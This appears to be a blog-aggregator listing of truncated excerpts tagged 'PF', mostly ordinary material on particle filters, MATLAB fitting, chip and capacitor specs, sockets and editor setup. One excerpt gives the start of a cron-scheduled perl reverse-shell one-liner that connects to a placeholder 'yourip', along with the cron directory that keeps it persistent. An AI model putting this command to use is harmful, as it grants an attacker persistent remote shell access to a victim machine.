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粒子滤波PF
MATLAB 线性拟合
MATLAB线性拟合ployfit函数x=linspace(0,1,20);y=2*x+0.2*randn([1,20]);
pf
=polyfit(x,y,1);figure;plot(x,y,'o',x
Snfiltration
·
2023-04-12 12:20
MATLAB
RECORD MY GRADUATION THESIS: 生态环境中的小可爱_枝角类_201905于狮子山-4
本研究对隆线溞的SF、
PF
和M个体进行了整合mRNA和miRNA的高通量测序分析,并探究隆线溞中的DEGs和DEMs并鉴定出涉及生殖转化的关键基因。3.4.1隆线溞生殖转化的转录组学研究对生
怡然i_好久不见
·
2023-04-12 06:58
国产32位单片机MM32SPIN05
PF
灵动微MM32SPIN系列是电机与电源相关应用设计的专用产品家族,使用高性能ArmCortex-M0与ArmCortex-M3内核,依据功能区分成专用MCU与驱动MCU两种。MM32SPIN系列最高提供了128KBFlash,内置了多路UART、I2C、SPI、CAN以及多种高精度模拟外设,包括:比较器、12位3MspsADC与运算放大器。驱动MCU提供了集成电源的功能,预驱、LDO以及MOSFE
TEL15622383762
·
2023-04-12 06:23
单片机
物联网
ASEMI代理ADI亚德诺AD8061ARTZ-REEL7车规级芯片
650V/μs总谐波失真:-77dBc输入电压噪声:8.5nV/√Hz输入电流噪声:1.2pA/√Hz输入偏移电压:1mV输入偏置电流:3.5uA输入失调电流:0.3±uA输入电阻:13MΩ输入电容:1
pF
qyx3868
·
2023-04-12 00:44
汽车
ASEMI代理艾赛斯IXTY02N50D-TRL车规级MOSFET
500V连续漏电流(ID):200mA功耗(PD):25W工作结温度(TJ):-55to+150℃零栅极电压漏极电流(IDSS):10uA漏极源导通电阻RDS(ON):20Ω输入电容(CISS):120
pF
qyx3868
·
2023-04-12 00:14
单片机
IXYS/艾赛斯DS145-16A车规FRD,原厂渠道ASEMI代理
VRRM):1600V反向电流,漏电流(IR):40uA正向电压降(VF):1.26V平均正向电流(IF):45A总功耗(Ptot):270W最大正向浪涌电流(IFSM):480A结电容(CJ):18
pF
qyx3868
·
2023-04-12 00:44
单片机
汽车
多进程tcp通信
include#include#include#include#include#include#include#include#includeintmain(){//创建socketintlfd=socket(
PF
_INET
未央吖
·
2023-04-11 00:44
Linux高薪
tcp/ip
网络
网络协议
Sublime Text 3 应用技巧和诀窍
1、按Ctrl+`(此符号为tab按键上面的按键)调出console(注:避免热键冲突)粘贴以下代码到命令行并回车:importurllib.request,os;
pf
='PackageControl.sublime-package
小桥流水啦啦啦
·
2023-04-10 21:42
Linux小考核
mkdir-p1/2/3/4/5/6/7/8/9#添加文件,输入内容,ctrl+d退出cat>me.txt#查看文件内容catme.txt#删除以上文件以及文件夹rm-r1#批量创建文件夹mkdir-
pf
琪音
·
2023-04-10 20:16
slam与导航开发
Gmapping算法是基于
粒子滤波
器(ParticleFilter)的SLAM算法,它通过将机器人在环境中的位姿和地图中的特征进行联合估计,实现了机器人在未知环境中的自主定位和地图构建。
python算法工程师
·
2023-04-10 02:15
人工智能
机器学习
机器人
离散数学---学习目标
课程分布DiscreteStructures(DS)离散结构ProgrammingFundamentals(
PF
)编程基础AlgorithmsandComplexity(AL)算法与复杂度ArchitectureandOrganization
喜忧参半
·
2023-04-09 05:10
[分享]实用的软件
1.迅雷白金会员获取器下载地址:http://www.
pf
11.com/迅雷白金账号共享器是一款由电影天堂官方申请的迅雷白金帐号近千个,只要鼠标轻轻点击一下。
weixin_33845477
·
2023-04-08 09:04
操作系统
运维
人手一个chatGPT,很快就会实现了,期待
比如,ChatGPT的训练需要微软专门建设的AI计算系统,总算力消耗约为3640
PF
-days。在推理阶段,ChatGPT需要约3万多块英伟达A100GPU的芯片,这样的话
robot_learner
·
2023-04-07 17:46
chatgpt
人工智能
0.1uf 电容浅析
0.1uf电容浅析所谓“都选用”仅适用于低频电路高频电路中,几
pF
的滤波电容也不稀罕所谓0.1UF电容也不是任何类型的电容都可以,通常都选瓷介电容。
漂在南方
·
2023-04-07 09:04
电子电路
0.1uf
电容浅析
蒙特卡洛
粒子滤波
定位算法_ROS -- 最简单的自主ACML定位
我们知道在
粒子滤波
定位的时候,需要结合地图数据和机器人的初始位姿通过不断的移动之后们,机器
Kommune Galaxy
·
2023-04-07 05:01
蒙特卡洛粒子滤波定位算法
深入理解如何不费吹灰之力搭建一个无人驾驶车(三)2D-小车拓展部分(AMCL+EKF)(EKF协方差矩阵如何写?)
三、2D小车定位拓展本文讲一下不是很难的高中部分,主要是AMCL及EKF,两种定位方法3.1AMCL定位首先讲一下AMCL算法,自适应蒙特卡罗
粒子滤波
定位,其实在gmapping中,我们就要用轮式里程计的
吴家征
·
2023-04-07 05:57
无人驾驶
人工智能
无人驾驶
ros
slam
概率机器人学
用友nc65 uap审批流按钮开发
2.按钮java类packagenc.ui.fdc_pr.h303113510.actions;importjava.awt.event.ActionEvent;importnc.bs.pubapp.
pf
.util.ApproveFlowUtil
qq_31968809
·
2023-04-06 22:00
用友nc
nc65
uap
用友
用友nc
xml
【芯片应用】PA93
公司供电电压:+Vsto-Vs:最高400V,即±200V最大输出电压:400V(±200V)额定输出电流:8A最大输出电流:14A功耗:最高125W输入阻抗:10^11Ω输出阻抗:10Ω输入电容:4
pF
sunshine42.7
·
2023-04-06 12:48
芯片使用指南
硬件工程
【芯片应用】PA90
公司供电电压:+Vsto-Vs:最高400V,即±200V最大输出电压:400V(±200V)额定输出电流:200mA最大输出电流:350mA功耗:最高30W输入阻抗:10^11Ω输出阻抗:50Ω输入电容:4
pF
sunshine42.7
·
2023-04-06 12:17
芯片使用指南
嵌入式硬件
NUC980 PWM驱动配置与测试
一、查看电路PWM引脚分别是
PF
7与
PF
8引脚再查手册,
PF
7与
PF
8都属于PWM0下PWM02与PWM03二、内核配置1、→DeviceDrivers使能PWM驱动2、→DeviceDrivers→Pulse-WidthModulation
纵向深耕
·
2023-04-06 05:59
NUC980
嵌入多
linux
nuc980
pwm
驱动
概念知识
blog.csdn.net/qq_33591903/article/details/1034695303.自动化运维工具ansible和saltstack对比https://blog.csdn.net/
pf
Freestyle_0f85
·
2023-04-05 12:58
Android 地图跳转到百度、高德、腾讯地图导航
title=uri/api/ios&qq-
pf
-to=pcqq.c2c)腾讯(https://lbs.qq.com/uri_v1/guide-mobile-navAndRoute.
小马本色
·
2023-04-05 05:55
Android
java
开发语言
TCP网络连接的书写
connect进行连接服务器端书写为TCP是面向连接,所有需要进行对于端口进行监控,另外的UDP的服务器就不需要进行端口的监控(面向字节流的)进程sock创建intlistensock_=socket(
PF
_INEF
assibe
·
2023-04-04 23:04
tcp/ip
网络
服务器
STM32F4_跑马灯实验
2.2跑马灯_库函数2.2.1书写步骤2.2.2实验代码1.硬件分析如图为STM32F407ZG有关LED的原理图;在此需要特别注意,不同板子对应的引脚不同;STM32F4xx系列LED0对应到MCU_
PF
9
light_2025
·
2023-04-04 22:20
STM32
stm32
单片机
嵌入式硬件
oracle 19C操作常用命令
oracle19c基本操作命令进入cdb:su-oracleps-ef|greppmonexportORACLE_SID=H01U08
PF
2(非单节点PDB的sid不同)sqlplus/assysdbaexportORACLE_SID
San6653
·
2023-04-04 20:17
oracle
数据库
sql
solidworks将文件名关联到文件属性
qq-
pf
-to=pcqq.group
dududuwei
·
2023-04-04 14:36
揭秘 ChatGPT 背后天价超算!上万颗英伟达 A100,烧光微软数亿美元
数据显示,ChatGPT的总算力消耗约为3640
PF
-days(即假如每秒计算一千万亿次,需要计算3640天)。那么,作为依托的那台微软专为OpenAI打造的超级计算机,又是如何诞生的呢?
Openlab.cosmoplat
·
2023-04-04 03:56
物联网
实时互动
业界资讯
人工智能
机器学习
BMS_汽车充电桩中的PGN到CAN_ID转换
其中
PF
是数据域对应的参数组编号(Parametergroupnumber),简称PGNPGN的
csdn_dx
·
2023-04-01 01:53
硬件
C
语言
给一个已经存在的excel增加额外的sheet页面
/usr/bin/python#encoding:utf-8importpandasaspdfromopenpyxlimportload_workbook#
pf
是新增data的DataFramewithpd.ExcelWriter
samoyan
·
2023-03-31 22:20
python
excel
python
开发语言
C语言指针进阶(中)
return1;}intmain(){//指针数组char*arr[10];//数组指针intarr2[5]={0};int(*p)[5]=&arr2;//p是一个指向数组的指针变量//函数指针int(*
pf
长月.
·
2023-03-31 13:43
C语言
c++
算法
数据结构
c语言
开发语言
四线制pt1000电路图_内蒙古PT1000热电阻信号隔离器THG-IP-泰华仪表
有功功率与视在功率之比
pf
=P/S=cosφ为功率因数。功率因数变送器是将功率因数转换成标准模拟信号输出或数字输出的仪器。它包括单相功率因数变送器、三相三线制功率因数变送器和三相四线制功率因数变送器。
吕驰宇
·
2023-03-30 21:19
四线制pt1000电路图
构建功能基因隐马可夫模型HMM
pfam数据库http://pfam.xfam.org/点击KEYWORDSEARCH,输入narG点击
PF
02665,点Alignments,Formatanalignment,注意格式选择stockholm
赵会成
·
2023-03-30 16:13
8086cpu标志寄存器
运算结果为负数时置1)ZF:零标志位(运算结果为0时置1)CF:进位(借位)标志位(运算时向最高位有进位或借位时置1做减法用补码运算时向最高位有进位置0相反置1)AF:辅助进位标志位(同CF不过其针对的是中间位)
PF
IOUIUY
·
2023-03-29 23:32
汇编
其他
LCR数字电桥测量兆欧级高阻值抗电阻的原因分析
电阻LCR数字电桥测量兆欧级高阻值抗电阻高阻值包含一个寄生
pF
级电容,该电容与电阻并联在一起:确认使用LCR数字电桥测试高阻值电阻时,应选择Cp-Rp测试功能(并联等效电路模式),使测试电路模式与电阻的实际等效电路相匹配
晨欣电子元器件商城
·
2023-03-28 20:09
材料工程
经验分享
反弹shell
n"ubuntu目录:/var/spool/cron/crontabs/每分钟反弹一个sh*/1****perl-e'useSocket;$i="yourip";$p=yourport;socket(S,
PF
_INET
broeeee
·
2023-03-27 23:21
“变革,从哪里开始?” ——从养老金视角看两家金融机构的企业文化
2008.闫安(总行企业年金管理中心)近日,听ZS同事说,
PF
总行董事长率团专程来总行进行了交流。据说,董事长在考察结束后,只感叹了一句:“
PF
没文化!”
闫安
·
2023-03-24 18:00
okhttp特殊符号问题
Unexpectedchar0xc0at355inauthtokenvalue:iuf1v4z6etjbmdnB7zR8V2K6QkoVV3EIOLMRDP5jvfm1FuTjdJvl092go5fp/
PF
5ttKpdXpZtxvtSa1yUIRMLuIlOJAdfcpSHbJfHA
一昂Jone
·
2023-03-24 17:24
简单的文件加密C语言代码实现
代码实现如下#include#includeintgetfilesize(char*path){FILE*
pf
=fopen(path,"r");if(
pf
==NULL){return-1;}else{fseek
L888666Q
·
2023-03-23 17:29
c/c++
安全
c语言
算法
踏雪乾陵
【杨欣】踏雪乾陵https://www.meipian.cn/12
pf
3gmh?from=other&v=4.3.0
观沧海369
·
2023-03-22 08:28
pf
4j整理
简介Apluginisawayforathirdpartytoextendthefunctionalityofanapplication.Apluginimplementsextensionpointsdeclaredbyapplicationorotherplugins.Alsoaplugincandefineextensionpoints.原理原理图整体接口图整体接口图流程注解处理器注解处理器
瑜骐
·
2023-03-21 11:51
汇编cmp比较指令详解
cmp(compare)指令进行比较两个操作数的大小例:cmpoprd1,oprd2为第一个操作减去第二个操作数,但不影响第两个操作数的值它影响flag的CF,ZF,OF,AF,
PF
我们怎么判断大小呢?
薇远镖局
·
2023-03-20 13:18
ARM
汇编
汇编
arm
从pfam数据库下载某个基因家族的HMM模型
可根据
Pf
沧海拾贝
·
2023-03-19 11:03
Sublime Text 3 安装Package Control及汉化教程
使用Ctrl+`快捷键或者通过View->ShowConsole菜单打开命令行,粘贴如下代码:importurllib.request,os;
pf
='PackageControl.sublime-package
凝紫暮
·
2023-03-18 19:08
前端Emmet语法文档
tools/emmet-cheat-sheet.htmlsublime安装emmet按Ctrl+`调出sublimetext的console粘贴以下代码到底部命令行并回车:importurllib2,os;
pf
Vurtex
·
2023-03-17 09:22
JCC常用指令2
JEJZ结果为0则跳转(相等时跳转)ZF=12.JNE,JNZ结果不为0则跳转(不相等时跳转)ZF=03.JS结果为负数跳转SF=14.JNS结果非负跳转SF=05.JPJPE结果中的1个数为偶数则跳转
PF
开发界小学生
·
2023-03-16 13:51
Sublime Text 安装常用插件(mac os 系统)
consoleimporturllib.request,os,hashlib;h='6f4c264a24d933ce70df5dedcf1dcaee'+'ebe013ee18cced0ef93d5f746d80ef60';
pf
琼斝_eb36
·
2023-03-15 02:40
【积木评测】双鹰咔搭C51036声光猪储蓄罐
首先看下双鹰的全新
PF
件!声光感应砖!这外形,好奇特啊,一脸懵逼。。。电池盒盖子需要用螺丝刀拧开,两
generaltrash
·
2023-03-15 01:46
[Paper] || 基因embedding Gene2vec: distributed representation
pf
genes based on co-expression
一句话总结:将有共表达的基因对当作上下文(context),利用Skip-Gram模型做geneembedding。问题背景NLP的一个动机是希望把文本转换成带有语义信息的向量送入机器学习模型计算,这篇文章希望在仅得知基因名的情况下,预测基因间相互作用。方法数据集:从GEO导出的984个全转录组人类基因数据集,在每个dataset中,选择Pearson系数高于0.9的基因对作为共表达基因。输入和输
葵sunshine
·
2023-03-14 06:27
sublime text3 的一些安装问题
安装插件步骤:1、按ctrl+`(反引号按ESC键下面那个键)调出consloe2、粘贴一下代码刀到命令行并回车:importurllib.request,os;
pf
='PackageControl.sublime-package
笨笨的小蜗牛_用生命奔跑
·
2023-03-12 04:06
HTTPS HTTP SSL
qq-
pf
-to=pcqq.c2cHTTP协议:超文本传输协议(HTTP,HyperTextTransferProtocol)是互联网上应用最为广泛的一种网络协议。HT
Shokka
·
2023-03-10 09:58
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